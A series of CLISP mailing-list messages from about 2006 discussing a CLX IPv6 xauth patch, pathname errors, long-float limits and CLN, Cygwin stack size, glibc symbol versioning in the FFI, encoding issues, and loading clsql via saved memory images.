> *** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET
>       The value is: 6
>
> The patch below seems to fix that.

Hi,

> Index: clx.lisp
> ===================================================================
> RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/clx.lisp,v
> retrieving revision 1.4
> diff -u -r1.4 clx.lisp
> --- clx.lisp	13 Apr 2004 16:52:24 -0000	1.4
> +++ clx.lisp	12 Nov 2006 13:13:57 -0000
> @@ -98,6 +98,7 @@
>      (:internet . 0)
>      (:decnet . 1)
>      (:chaos . 2)
> +    (:internet6 . 6)
>      ;; X11/Xauth.h "not part of X standard"
>      (:Local . 256)
>      (:Wild . 65535)
> Index: display.lisp
> ===================================================================
> RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/display.lisp,v
> retrieving revision 1.2
> diff -u -r1.2 display.lisp
> --- display.lisp	13 Apr 2004 16:52:23 -0000	1.2
> +++ display.lisp	12 Nov 2006 13:13:57 -0000
> @@ -82,7 +82,7 @@
>  	   family
>  	   (ecase family
>  	     (:local (map 'string #'code-char address))
> -	     (:internet (coerce address 'list)))
> +	     ((:internet :internet6) (coerce address 'list)))
>  	   number name data))))))
>  
>  (defun get-best-authorization (host display protocol)

Just so you know, this is a different workaround from the one that is
in telent CLX, which allows for other xauth entries too.

Does CLISP's socket code support ipv6, and if so, does the above xauth
parsing actually work?  (The remainder of CLX also needs changes for
support of a new protocol; grep for :internet to find out how much.)

Cheers,

Christophe


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Hi Sam,

Sam Steingold wrote:

>Hi Ruslan,
>
>  
>
>>I prefer CLISP because it multiplatform and support Russian better
>>than other distributions, I think so. Am I right?
>>    
>>
>
>Yes, CLISP is the best lisp wrt i18n.
>
>  
>
>>(defpackage :test44 (:modern t)) solved my problem of reading from file 
>>and processing case-sensitive data, but arise new problem. Somewhere 
>>inside Araneida code (simple web server I used for GUI to my programs) 
>>spring up an error:
>>
>>make-pathname: illegal keyword/value pair :|host|, nil in argument list.
>>The allowed keywords are #1=(:defaults
>>    :case :host :device :directory :name :type :version)
>>   [Condition of type system::simple-keyword-error]
>>
>>I could not locate from the frame stack output where make-pathname was
>>called. Moreover, full search around Araneida code did not find
>>make-pathname call.
>>    
>>
>
>search for ":host" and ":HOST" (grep -i).
>search for "pathname".
>
>  
>
>>I only locate part of my code where the error appears:
>>
>>(let* ((pn #P"c:/RuProjects/ScenSupport/lisp/"))
>>    
>>
>
>does (pathname "c:/RuProjects/ScenSupport/lisp/") work?
>
>  
>
>>  (install-handler (http-listener-handler *listener*)
>>           (make-instance 'static-file-handler :pathname pn)
>>           (urlstring *ruis-url*) nil))
>>    
>>
>
>I am afraid you will need to get rid of the Araneida dependencies before
>I can reproduce this.
>load uncompiled files (remove *.fas) and see what is actually triggering
>this.
>
>
>  
>
>>By the way, can I write to you in Russian? :)
>>    
>>
>
>personal e-mails, yes.
>CLISP-related, no.
>CLISP is supported only on the mailing lists and
>CLISP lists are English-only.
>You wouldn't want to have to read German (or French) discussions here,
>would you?
>
>  
>
I do'nt know why, but when I replace

(let* ((pn #P"c:/RuProjects/ScenSupport/lisp/"))...

on

(let* ((pn (pathname "c:/RuProjects/ScenSupport/lisp/")))

all begin to work OK. 
I have done several different tests, but could'nt find cause of this.
Only one thing I can say, that it is connected somehow with compilation, because error jumped out   even when I wrapped above code in defun an did not call it at all.
Sam, thank you very much for the help and good luck.

-- 

Sinscerely,
	Ru

Ruslan P. Sorokin sorokin@oogis.ru
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Christophe Rhodes wrote:
> Magnus Henoch <mange@freemail.hu> writes:
> 
> Does CLISP's socket code support ipv6, 

yes, clisp supported ipv6 since 1999-03-10

Sam.




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Hello,

for approximation of Pi with the so-called AGM-algorithm, I would like to
use floats as long as possible.  However, I run in difficulties:

(setf (ext::long-float-digits) 10000000)

*** - Program stack overflow. RESET
[2]>

Is there an easy remedy?

Thanks, Nicolas



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Nicolas Neuss wrote:
> Hello,
> 
> for approximation of Pi with the so-called AGM-algorithm, I would like to
> use floats as long as possible.  However, I run in difficulties:
> 
> (setf (ext::long-float-digits) 10000000)
> 
> *** - Program stack overflow. RESET
> [2]>
> 
> Is there an easy remedy?

did you read the FAQ?
http://clisp.cons.org/impnotes/faq.html#faq-stack
try 'ulimit -s'



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> for approximation of Pi with the so-called AGM-algorithm, I would like
> to
> use floats as long as possible.  However, I run in difficulties:
> 
> (setf (ext::long-float-digits) 10000000)

On 32-bit machines, CLISP bignums have a limited length (ca. 16 MB or so).
Also, the algorithm for multiplication in CLISP is O(n^1.69) and for
transcendental functions O(n^2.2), where n is the length of the numbers
involved.

This is suitable for all kinds of general computations up to ca. 10000 or
100000 digits, but not good for multi-million digit stuff.

The CLISP bignums have been rewritten as a C++ library, called CLN [1],
and there the length is not practically limited, and the multiplication
is O(n^1.3). On 64-bit machines, you can now even use numbers larger than
4 GB. Some computation records have been established in the past using CLN.

Bruno

[1] http://www.ginac.de/CLN/


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Hello Bruno,

thank you for the answer, although it ruins my intentions to redo more
recent Pi calculations using CL/CLISP.  May I ask two further questions:

1. I am no expert in large integer computations, but as much as I remember
   fast FFT multiplication is O(n log n).  Up to which number of digits can
   CLN compete with such approaches?

2. Are there any plans of incorporating improved longfloats (e.g. CLN) into
   CLISP?  Or is this too much work for too little interest?

Thank you,
Nicolas

Bruno Haible <bruno@clisp.org> writes:

> > for approximation of Pi with the so-called AGM-algorithm, I would like
> > to
> > use floats as long as possible.  However, I run in difficulties:
> > 
> > (setf (ext::long-float-digits) 10000000)
> 
> On 32-bit machines, CLISP bignums have a limited length (ca. 16 MB or so).
> Also, the algorithm for multiplication in CLISP is O(n^1.69) and for
> transcendental functions O(n^2.2), where n is the length of the numbers
> involved.
> 
> This is suitable for all kinds of general computations up to ca. 10000 or
> 100000 digits, but not good for multi-million digit stuff.
> 
> The CLISP bignums have been rewritten as a C++ library, called CLN [1],
> and there the length is not practically limited, and the multiplication
> is O(n^1.3). On 64-bit machines, you can now even use numbers larger than
> 4 GB. Some computation records have been established in the past using CLN.
> 
> Bruno
> 
> [1] http://www.ginac.de/CLN/



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> 1. I am no expert in large integer computations, but as much as I remember
>    fast FFT multiplication is O(n log n).  Up to which number of digits c=
an
>    CLN compete with such approaches?

=46ast FFT multiplication is, as far as I recall, O(n log n (log log n)^e),
e =3D 1 or 2. CLN implements fast FFT; there is no question whether it
"competes" with it.

This O(n log n (log log n)^e) formula is the theory. What I measured in
practice is O(n^1.3). When you look where the log log n factor comes from,
it is because in the Sch=F6nhage-Strassen algorithm you do multiplications
on integers of size sqrt(n), which you _assume_ obey the same formula. But
that's not true in practice: sqrt(n) is below the threshold where FFT wins
against Karatsuba. And then you've got to consider the Karatsuba complexity,
hence sqrt(n) * (sqrt(n))^1.7 ...

> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) in=
to
>    CLISP?  Or is this too much work for too little interest?

It is too much work for too few users. Also, many CL users want portability,
therefore they would refrain from relying on a feature that they don't have
in, say, SBCL. The right approach for using CLN from CL would IMO be through
an FFI/UFFI/CFFI/... interface. Then the numbers would not appear as _the_
built-in numbers of the CL implementation, but it would be usable by CA
systems like Axiom or Maxima in a portable way.

Bruno


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Bruno Haible wrote:
>> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into
>>    CLISP?  Or is this too much work for too little interest?
> 
> It is too much work for too few users.

IOW, PTC.

> Also, many CL users want portability,
> therefore they would refrain from relying on a feature that they don't have
> in, say, SBCL.

this argument is absurd.
if it were true, people would not use CLISP variable-length floats 
because they are not available in SBCL and threads in SBCL because they 
are not available in CLISP.

S.


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Sam wrote:
> >> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into
> >>    CLISP?  Or is this too much work for too little interest?
> > 
> > It is too much work for too few users.
> 
> IOW, PTC.

What does "PTC" mean? I was trying to say that there are only ~100 people in
the world who are seriously interested in multimullion digit computations,
and less than a handful of them are using Common Lisp and have big problems
using C++ instead.

Porting CLN's multiplication routine back to clisp is probably 2 weeks of
work, porting the transcendental functions routines is probably 2-3 months
of work (full-time).

Bruno


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First, I want to thank you for your detailed explanation in your other
post.

Bruno Haible <bruno@clisp.org> writes:

> Sam wrote:
> > >> 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into
> > >>    CLISP?  Or is this too much work for too little interest?
> > > 
> > > It is too much work for too few users.
> > 
> > IOW, PTC.
> 
> What does "PTC" mean?

I have found "patches thoughtfully considered", which was probably directed
at myself:-)

> I was trying to say that there are only ~100 people in the world who are
> seriously interested in multimullion digit computations, and less than a
> handful of them are using Common Lisp and have big problems using C++
> instead.

That's, of course, also the problem in my case - I am not really needing
this stuff (who needs pi with millions of digits?).  It would have been
nice, if I could have done such calculations with CLISP for a seminar on pi
calculations, but this can hardly be considered as a serious purpose.

> Porting CLN's multiplication routine back to clisp is probably 2 weeks of
> work, porting the transcendental functions routines is probably 2-3
> months of work (full-time).

I agree with your previous post: it would probably be more useful to have a
lesser interface to CLN which works for most Lisps.  On the other hand, the
integration in CLISP is a proof of concept that long floats fit already
well in the ANSI CL standard (do we see CLISP's influence here?).  Maybe it
would be an interesting research topic to define an interface within
Lisp/Scheme implementations which provides portably a well-integrated
numeric tower using libraries like CLN?

Nicolas



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This question has Cygwin-related aspects, but I figured I'd
ask here first.  While I was building on Cygwin, ./configure
gave me the following message:

> # The default stack size on your platform is insufficient
> # and must be increased to at least 8192.  You must do either
> #    'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or
> #    'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)

But ulimit just gives me an error ("stack size: cannot
modify limit: Invalid argument").  A little googling turned
up this message:

http://www.cygwin.com/ml/cygwin/2003-03/msg01394.html

> [...]  The system call to which the ulimit shell built-in
> delegates its work is not implemented in Cygwin.
>
> I believe link-time is the only way to override the
> default stack allotment is during compilation (or linking,
> as the case may be): E.g. (from a message by Gerrit P.
> Haase, subject "Re: increase stacksize" sent Wed, 17 Jul
> 2002 15:54:42 +0200):
>
> gcc -Wl,--stack,8388608 -o your.exe your.source.c

In an attempt to apply this knowledge I added
--stack,8388608 to $CLFLAGS in src/Makefile.  This made make
tell me:

> cc1: error: unrecognized option `-fstack,8388608'

so I undid my change and compiled with the existing stack
size (2043k as reported by ulimit).

How important is this?  Is it a hard limit, in the sense
that certain things will break under my current stack size,
or is it just a matter of things running more or less
quickly?  If it is a hard limit, is there a way for me to
increase the stack size?

Thanks,

-- 
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Aaron Brown schrieb:
> This question has Cygwin-related aspects, but I figured I'd
> ask here first.  While I was building on Cygwin, ./configure
> gave me the following message:
> 
>> # The default stack size on your platform is insufficient
>> # and must be increased to at least 8192.  You must do either
>> #    'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or
>> #    'limit stacksize 8192' (for C shell derivarives, e.g., tcsh)
> But ulimit just gives me an error ("stack size: cannot
> modify limit: Invalid argument").  

hmm.

> A little googling turned up this message:
> 
> http://www.cygwin.com/ml/cygwin/2003-03/msg01394.html
> 
>> [...]  The system call to which the ulimit shell built-in
>> delegates its work is not implemented in Cygwin.
>>
>> I believe link-time is the only way to override the
>> default stack allotment is during compilation (or linking,
>> as the case may be): E.g. (from a message by Gerrit P.
>> Haase, subject "Re: increase stacksize" sent Wed, 17 Jul
>> 2002 15:54:42 +0200):

You can also change the stack size in the exe afterwards by using some 
COFF capable binutil, like EDITBIN from MSVC or maybe some perl script.

EDITBIN /STACK:8192000 clisp.exe
   http://msdn2.microsoft.com/en-us/library/35yc2tc3.aspx

The similar gnu tool objcopy cannot do that.

>> gcc -Wl,--stack,8388608 -o your.exe your.source.c
> 
> In an attempt to apply this knowledge I added
> --stack,8388608 to $CLFLAGS in src/Makefile.  This made make
> tell me:
> 
>> cc1: error: unrecognized option `-fstack,8388608'

man ld
  --stack reserve,commit
      Specify  the amount of memory to reserve (and optionally commit) to
      be used as stack for this program.  The default is 2Mb reserved, 4K
      committed.   [This  option is specific to the i386 PE targeted port
      of the linker]

> so I undid my change and compiled with the existing stack
> size (2043k as reported by ulimit).

> How important is this?  Is it a hard limit, in the sense
> that certain things will break under my current stack size,
> or is it just a matter of things running more or less
> quickly?  If it is a hard limit, is there a way for me to
> increase the stack size?

Well, your recursion depth is limited.

I'll try to use the new LDFLAGS --stack 8192000 setting on the next 
release. With libsvm included.
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In glibc, there is a dlvsym() function for retrieving versioned symbols.

This is very useful if you are writing an application, targetting the
ABI of a shared library, to ensure that old versions your program will
use the right ABI even in new versions of that library (as long as
they don't drop support for that ABI).

Concrete example. RIght now, I'm using the CLISP FFI to call
"__xstat64" in "libc.so.6". But "__xstat64" refers to the latest and
greatest ABI for that symbol which a given installation of "libc.so.6"
exports. That latest and greatest function could, for instance, think
that the struct stat object I'm giving it is bigger than it really is,
and write beyond its end.

What I want is to access the "GLIBC_2.2" version of that symbol. This
might appear in the "nm" listing of the library as
"__xstat64@@GLIBC_2.2".

You can't get to this symbol with the dlsym API. And the @@ will
change to @ anyway if GLIBC_2.2 is no longer the default version for
that symbol.

The way you ask for this symbol is dlvsym(handle, "__xstat64", "GLIBC_2.2").

And so, what if there was a (:SYMVER ...) option in the CLISP FFI
whereby you could specify the version, thereby causing it to use
dlvsym? (Rationale for the name: derived from the .symver GNU
assembler directive for defining versioned symbols).

(def-call-out __xstat64
  (:library "libc.so.6")
  (:symver "GLIBC_2.2")
  ... etc)

Now you can be quite confident that even though you tested the code
with, say, glibc-2.3.4, it will still run if you upgrade to glibc 2.5.
That is to say, run as well as any of the compiled C programs linked
to the library.

Comments?


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Kaz Kylheku wrote:
> In glibc, there is a dlvsym() function for retrieving versioned symbols.

how about other libc implementations? woe32?

> (def-call-out __xstat64
>   (:library "libc.so.6")
>   (:symver "GLIBC_2.2")
>   ... etc)

I would prefer (:library "libc.so.6" "GLIBC_2.2")
this way we will not have to check that :library is given for each 
:symver and also this will give a good symver default via default-library.

the only problem I see here is that we were thinking about switching to 
libltdl - does it support this versioning?

Sam.



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Kaz Kylheku wrote:

> This is very useful if you are writing an application, targetting the
> ABI of a shared library, to ensure that old versions your program will
> use the right ABI even in new versions of that library (as long as
> they don't drop support for that ABI).
>
> Concrete example. RIght now, I'm using the CLISP FFI to call
> "__xstat64" in "libc.so.6". But "__xstat64" refers to the latest and
> greatest ABI for that symbol which a given installation of "libc.so.6"
> exports. That latest and greatest function could, for instance, think
> that the struct stat object I'm giving it is bigger than it really is,
> and write beyond its end.

Yup, this is a problem, because we have hardcoded in
modules/bindings/glibc/linux.lisp definitions like this:

(def-c-struct stat
  (st_dev dev_t)
  (__pad1 ushort)
  (st_ino ino_t)
  (st_mode mode_t)
  (st_nlink nlink_t)
  (st_uid uid_t)
  (st_gid gid_t)
  (st_rdev dev_t)
  (__pad2 ushort)
  (st_size off_t)
  (st_blksize ulong)
  (st_blocks ulong)
  (st_atime time_t)
  (__unused1 ulong)
  (st_mtime time_t)
  (__unused2 ulong)
  (st_ctime time_t)
  (__unused3 ulong)
  (__unused4 ulong)
  (__unused5 ulong)
)

That is, we have extracted the 'struct stat' of a particular glibc version
and therefore also need the __xstat function of that particular ABI.

But I disagree with the approach. The C library (more precisely its
header files and the symbol versioning in libc.so) shields the usual C
programmer from such problems. I think clisp should get on the same level,
and use the solution that the C library maintainers propose. Otherwise we
have to track closely the glibc versions and update the def-c-struct
definitions manually in the future.

Concretely this means one of the two following approaches:
 a) Generate the (def-c-struct stat ...) form at compile time,
    for example by having a C program like this:

       #include <sys/types.h>
       #include <sys/stat.h>
       #include <stdlib.h>
       #include <stdio.h>
       int main ()
       {
         printf("%d\n", offsetof (struct stat, st_dev));
         ...
         printf("%d\n", offsetof (struct stat, st_ctime));
         printf("%d\n", sizeof (((struct stat *) 0)->st_dev));
         ...
         printf("%d\n", sizeof (((struct stat *) 0)->st_ctime));
         return 0;
       }

    and a bit of Lisp code that infers where are the gaps between the
    fields, based on these offset and size numbers.
 b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes
    this gap computation to occur in the FFI, based on C snippets emitted
    by the .lisp -> .c compiler. (I call it "partial" because the definition
    of the fields are not complete. The C definition of the struct can have
    additional fields that are not visible from Lisp.)

Bruno


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Sam Steingold asked:
> > In glibc, there is a dlvsym() function for retrieving versioned symbols.
> 
> how about other libc implementations? woe32?

Only glibc has dlvsym(). Woe32 uses #defines in the include files to address
this problem.

> this will give a good symver default via default-library.

How do you mean this? A library does not have a "default symbol version".
For example glibc-2.4 has symbols

  openat@@GLIBC_2.4
  open@@GLIBC_2.0

but no symbol

  open@@GLIBC_2.4

If you want the address of the open() function and you don't know its
specific version, you cannot use dlvsym(); you must use dlsym(handle,"open").

> the only problem I see here is that we were thinking about switching to 
> libltdl - does it support this versioning?

No. Probably because it's not as useful as Kaz thinks (see the other mail).

Bruno


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Bruno Haible wrote:
> Sam Steingold asked:
>>> In glibc, there is a dlvsym() function for retrieving versioned symbols.
>> how about other libc implementations? woe32?
> 
> Only glibc has dlvsym(). Woe32 uses #defines in the include files to address
> this problem.
> 
>> this will give a good symver default via default-library.
> 
> How do you mean this? A library does not have a "default symbol version".
> For example glibc-2.4 has symbols
> 
>   openat@@GLIBC_2.4
>   open@@GLIBC_2.0
> 
> but no symbol
> 
>   open@@GLIBC_2.4
> 
> If you want the address of the open() function and you don't know its
> specific version, you cannot use dlvsym(); you must use dlsym(handle,"open").

sym = dlvsym(lib,"foo","ver");
if (sym == NULL) sym = dlsym(lib,"foo");



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Bruno Haible wrote:
> Concretely this means one of the two following approaches:
>  a) Generate the (def-c-struct stat ...) form at compile time,
>     for example by having a C program like this:
> 
>        #include <sys/types.h>
>        #include <sys/stat.h>
>        #include <stdlib.h>
>        #include <stdio.h>
>        int main ()
>        {
>          printf("%d\n", offsetof (struct stat, st_dev));
>          ...
>          printf("%d\n", offsetof (struct stat, st_ctime));
>          printf("%d\n", sizeof (((struct stat *) 0)->st_dev));
>          ...
>          printf("%d\n", sizeof (((struct stat *) 0)->st_ctime));
>          return 0;
>        }
> 
>     and a bit of Lisp code that infers where are the gaps between the
>     fields, based on these offset and size numbers.
>  b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes
>     this gap computation to occur in the FFI, based on C snippets emitted
>     by the .lisp -> .c compiler. (I call it "partial" because the definition
>     of the fields are not complete. The C definition of the struct can have
>     additional fields that are not visible from Lisp.)

yes, this is what we need.
we already have def-c-const that eliminates the need to copy the actual 
values of #defined symbols into lisp.
it would be nice to access C structure automatically too.




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On 11/29/06, Sam Steingold <sds@gnu.org> wrote:
> Kaz Kylheku wrote:
> > In glibc, there is a dlvsym() function for retrieving versioned symbols.
>
> how about other libc implementations? woe32?

It's an ELF feature. Windows DLLs don't have versioned symbols.

Microsoft's idea of symbol versioning is:

- write a broken or inadequate function, and then when we figure out
what it should really do, add an Ex to its name and keep the old one.

- Put a size (pardon me ``dwSize''), field into every structure whose
representation might change (by getting more fields at the end). The
library function checks the size field to determine which ABI is being
used. (This is actually not reasonable; objects should describe
themselves, like they do in Lisp, right? But it has limitations. The
structure can't exist in two versions that have the same size).

- The good old trick of leaving reserved fields in a structure, so
today's client application allocates it as big as tomorrow's
application.

- Miscellaneous other hacks, like the Winsock initialization with a
version field before you can do any socket work.

> > (def-call-out __xstat64
> >   (:library "libc.so.6")
> >   (:symver "GLIBC_2.2")
> >   ... etc)
>
> I would prefer (:library "libc.so.6" "GLIBC_2.2")

Or maybe have a property on it like (:library "libc.so.6" :symver "GLIBC_2.2").

> this way we will not have to check that :library is given for each
> :symver and also this will give a good symver default via default-library.
>
> the only problem I see here is that we were thinking about switching to
> libltdl - does it support this versioning?

[ ... google ...] Apparently a dlvsym wrapper is not in the API. But
that could be patched. The versioning is a feature of the underlying
ELF object format, plus the toolchain and the libdl.so API.


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On 11/29/06, Bruno Haible <bruno@clisp.org> wrote:
> Yup, this is a problem, because we have hardcoded in
> modules/bindings/glibc/linux.lisp definitions like this:

[ snip ]

> That is, we have extracted the 'struct stat' of a particular glibc version
> and therefore also need the __xstat function of that particular ABI.
>
> But I disagree with the approach. The C library (more precisely its
> header files and the symbol versioning in libc.so) shields the usual C
> programmer from such problems.

Yes, and it does that using the same approach. Only, of course, you
can re-compile and re-link the C program, which extracts the
particular version at that time. In the FFI, you're doing it by hand.

> I think clisp should get on the same level,
> and use the solution that the C library maintainers propose.

That /is/ the solution that they propose: use versioned symbols to
target a stable ABI. The extraction of the interface and selection of
symbols is hidden in the toolchain, that's all.

> Otherwise we
> have to track closely the glibc versions and update the def-c-struct
> definitions manually in the future.

That's an issue within CLISP. Don't confuse that with what should or
should not be available to users of CLISP through the FFI interface.
If CLISP wants to solve its __xstat issue in some other way, that's
fine.

In my application, I don't mind maintaining DEF-C-STRUCT definitions by hand.

Since CLISP is a complex app which has to be compiled anyway, the
considerations are different.

But it's nice to be able to package a CLISP program which is nothing
but .lisp files that are fed into CLISP.

> Concretely this means one of the two following approaches:
>  a) Generate the (def-c-struct stat ...) form at compile time,
>     for example by having a C program like this:
>
>        #include <sys/types.h>
>        #include <sys/stat.h>
>        #include <stdlib.h>
>        #include <stdio.h>
>        int main ()
>        {
>          printf("%d\n", offsetof (struct stat, st_dev));
>          ...
>          printf("%d\n", offsetof (struct stat, st_ctime));
>          printf("%d\n", sizeof (((struct stat *) 0)->st_dev));
>          ...
>          printf("%d\n", sizeof (((struct stat *) 0)->st_ctime));
>          return 0;
>        }

The problem is that if this C program were to actually call stat(), it
would call an appropriately versioned symbol, and so you could use the
binary version of this program with a newer version of glibc, where it
would continue to produce the same output. Yet if it were to be
recompiled, its output  might change.

Heck, the program doesn't even tell you that you really need to call
some version of  __xstat64, which takes an extra parameter.

>     and a bit of Lisp code that infers where are the gaps between the
>     fields, based on these offset and size numbers.

Right. You also need the size of the entire structure.

>  b) Add a new primitive (def-c-partial-struct ...) to the FFI that causes
>     this gap computation to occur in the FFI, based on C snippets emitted
>     by the .lisp -> .c compiler. (I call it "partial" because the definition
>     of the fields are not complete. The C definition of the struct can have
>     additional fields that are not visible from Lisp.)

;; proposed syntax

(def-partial-c-struct x
  (:size <whatever>) ;; extracted using sizeof
  (y uint32 :offset 24) ;; y member at offset 16
  ...))

So now CLISP will allocate an amount of bytes equal to :size for the
structure, and only do conversions on the defined fields, ignoring the
gaps on the way :IN, and setting them to zero on the way :OUT.

If any field extends beyond the limit specified by :SIZE, the compiler
for the form can signal an error.

This partial struct idea is definitely very good and worth
implementing. But it does not solve the ABI versioning problem. It
solves the API extraction problem, by reducing manual labor.

You need both approaches. Use the partial struct hack to get only the
fields you are interested in, so you don't have to keep revising the
definition when new fields are added, which you are not even
interested in. And then use the versioned symbols to lock in on the
ABI which corresponds to the extracted API.


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On 11/29/06, Bruno Haible <bruno@clisp.org> wrote:
> Sam Steingold asked:
> > > In glibc, there is a dlvsym() function for retrieving versioned symbols.
> >
> > how about other libc implementations? woe32?
>
> Only glibc has dlvsym(). Woe32 uses #defines in the include files to address
> this problem.

This problem is so nontrivial that Microsoft developed COM  (out of
DCE) to address it. In the base non-COM libraries, versioning is done
with size fields and other hacks, like I mentioned in my other e-mail.
 But primary way by which versioning problems are addressed in the MS
environment is by writing and using COM DLL's.  Interfaces are
versioned, and tied to a 128 bit GUID. The library location problem is
also solved by GUIDS.

To locate a library, a client passes a ``class ID'' (CLSID) GUID to an
API function. That API pulls out the path name from the registry and
loads the library. Next, the application asks for an interface, using
an ``interface ID''  (IID). If the object supports that interface, it
returns a pointer (which happens to point to data that is binary
compatible with the way the Microsoft compiler compiles C++ abstract
base classes).

> A library does not have a "default symbol version".
> For example glibc-2.4 has symbols
>
>  openat@@GLIBC_2.4
>  open@@GLIBC_2.0
>
> but no symbol
>
>  open@@GLIBC_2.4
>
> If you want the address of the open() function and you don't know its
> specific version, you cannot use dlvsym(); you must use dlsym(handle,"open").

Correct. But if you are writing FFI stuff, you know exactly what is
versioned and what isn't. You know that as of a particular version of
the library, openat was introduced as a versioned symbol. So you
target that symbol, using the version that you want, and declare that
your program needs that version of the library or later.

In the case of open, since it's not a versioned symbol, you just target open.

So what happens if glibc 2.6 comes out and needs to introduce a
versioned open? How will your program run?

What will happen is that they will make open into an alias:

  open -> old_open

So old clients will be redirected to old_open and continue to run.
There will be a new_open function, and some versioned symbol which
will alias to that function.

  open@@GLIBC_2.6 -> new_open

So why use versioned symbols and not just keep repeating the aliasing
trick? Because the old unversioned symbol can only alias to one
version. You have to pick a single function, like old_open, and map
open to that. And that's what you're stuck with. Versioning allows
open to refer to different things depending on who is asking.

Newly compiled programs would be linked to the new open, requesting
version GLIBC_2.6. The dynamic linker, ld.so, uses the equivalent of
dlvsym to grab "open" at version "GLIBC_2.6". For old clients, there
is no version request, so it grabs "open" via the equivalent of dlsym,
which resolves to the same address as old_open. When glibc 2.7 comes
out, there can be an open@@GLIBC_2.7, as well as an open@GLIBC_2.6.
The double @@ indicates that that's the default version that is
selected by newly linked programs.

> > the only problem I see here is that we were thinking about switching to
> > libltdl - does it support this versioning?
>
> No. Probably because it's not as useful as Kaz thinks (see the other mail).

Versioned symbols are the reason why, at all, you can upgrade a
GNU/Linux system without everything going haywire, like it did in the
a.out days.

At work here, I've been able to take a vendor's embedded distro
(targetting MIPS) running glibc 2.3.4, and run their binaries under a
glibc-2.5 that I compiled.

I literally copied the new glibc over top of the root filesystem, and
by golly, it booted.

That is thanks, in part, to careful ABI versioning.

We can only speculate about the reason why libtool's library doesn't
have dlvsym (yet!).  Maybe that project is more focused on different
problems. If a library with versioned symbols is linked using libtool,
all that versioning stuff still works. Libtool helps with issues
related to finding the library at link time and run time.

Maybe nobody is using dlopen() on versioned interfaces with libraries
that are used in conjunction with libtool.

Typically libaries that are designed for run-time use solve their
versioning problems in other ways, one big reason being portability.

If you're designing a platform-independent ``plugin'', then you can't
just say ``we will use ELF symbol versioning to deal with versioning
issues, and too bad those of you who are on non-ELF platforms''.

But in the case of glibc, we are run-time linking to a library which
is not normally used this way. That project has decided to deal with
versioning problems by using the versioning facilities in ELF. Which
is fine, since it gets to define the platform, basically. That means
that if you want to target that library, you have to play by its
rules.

glibc is not even linked using libtool, so it would be stupid to use
libtool's API to access it. If dlopen("libc.so.6") doesn't work, you
have a big problem that libtool won't help you with.


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Here is something strange.  I've set after launch all the encodings to
utf-8 and yet, when converting a Turk word into utf-8 it raises some
error about iso-8859-15!
If I launch with clisp -norc -E utf-8 it works ok.


C/USER[132]> (ext:convert-string-to-bytes "=C3=A7=C4=B1kartmak" charset:u=
tf-8)

*** - Character #\u0131 cannot be represented in the character set
       CHARSET:ISO-8859-15

The following restarts are available:
ABORT          :R1      ABORT
C/Break 1 USER[133]> :a
C/USER[134]> (apropos "-ENCODING*")
CUSTOM:*DEFAULT-FILE-ENCODING*             symbol-macro
CUSTOM:*FOREIGN-ENCODING*                  symbol-macro
SYSTEM::*HTTP-ENCODING*                    variable
CUSTOM:*MISC-ENCODING*                     symbol-macro
CUSTOM:*PATHNAME-ENCODING*                 symbol-macro
CUSTOM:*TERMINAL-ENCODING*                 symbol-macro


C/USER[135]> (list CUSTOM:*DEFAULT-FILE-ENCODING*
                   CUSTOM:*FOREIGN-ENCODING*    =20
                   SYSTEM::*HTTP-ENCODING*      =20
                   CUSTOM:*MISC-ENCODING*       =20
                   CUSTOM:*PATHNAME-ENCODING*   =20
                   CUSTOM:*TERMINAL-ENCODING*    )
(#1=3D#<ENCODING CHARSET:UTF-8 :UNIX> #1# #<ENCODING CHARSET:UTF-8 :DOS> =
#1# #1#
 #1#)


C/USER[136]> (EXT:ARGV)
#("/usr/local/languages/clisp-2.41/lib/clisp/full/lisp.run" "-B"
  "/usr/local/languages/clisp-2.41/lib/clisp" "-M"
  "/usr/local/languages/clisp-2.41/lib/clisp/full/lispinit.mem" "-N"
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  "32M" "-I" "-Efile" "ISO-8859-15" "-Epathname" "ISO-8859-1" "-Eterminal=
"
  "UTF-8" "-Emisc" "UTF-8" "-Eforeign" "ISO-8859-1")

C/USER[137]> (print-bug-report-info)


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I just started using common lisp and clisp and am playing with
program that extracts information from a database.

For this I use clsql and load it by using asdf.

My little program starts with:

   (require 'asdf)

   (asdf:operate 'asdf:load-op 'clsql-sqlite3)
   (asdf:operate 'asdf:load-op 'clsql)

   
Everything works, but:

1 - If I run it from the command line as:

    clisp -i my-program.lisp

    it will take 9.6 seconds before clsql is loaded.
    

2 - If compile everything with

    clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) 

    and run the program

    ./mtn-exp

    everything is loaded in 0.125 seconds.  BUT when
    I in the resulting repl execute 

      (clsql:connect ...)

    I get:

    ** - Continuable Error
    FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT
    If you continue (by typing 'continue'): Skip foreign object creation
    The following restarts are also available:
    ABORT          :R1      ABORT
    Break 1 [2]> 


    If I type "continue" at the prompt it still works.  But of course
    I don't want to  type "continue" everytime a ffi call takes place.


So my question is:

How do I get the load performance which I have with compilation
and not the annoying errors.


Wim Oudshoorn.



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> * Wim Oudshoorn <jbhqfubb@kf4nyy.ay> [2006-12-05 23:08:36 +0100]:
>
> I just started using common lisp and clisp and am playing with
> program that extracts information from a database.
>
> For this I use clsql and load it by using asdf.
>
> My little program starts with:
>
>    (require 'asdf)
>
>    (asdf:operate 'asdf:load-op 'clsql-sqlite3)
>    (asdf:operate 'asdf:load-op 'clsql)
>
>    
> Everything works, but:
>
> 1 - If I run it from the command line as:
>
>     clisp -i my-program.lisp
>
>     it will take 9.6 seconds before clsql is loaded.

try
clisp -c my-program
clisp -i my-program

> 2 - If compile everything with
>     clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) 

you are not compiling, you are saving a memory image.

>
> How do I get the load performance which I have with compilation
> and not the annoying errors.

clisp -x '(require (quote asdf)) (saveinitmem "clisp-asdf" :executable t)'
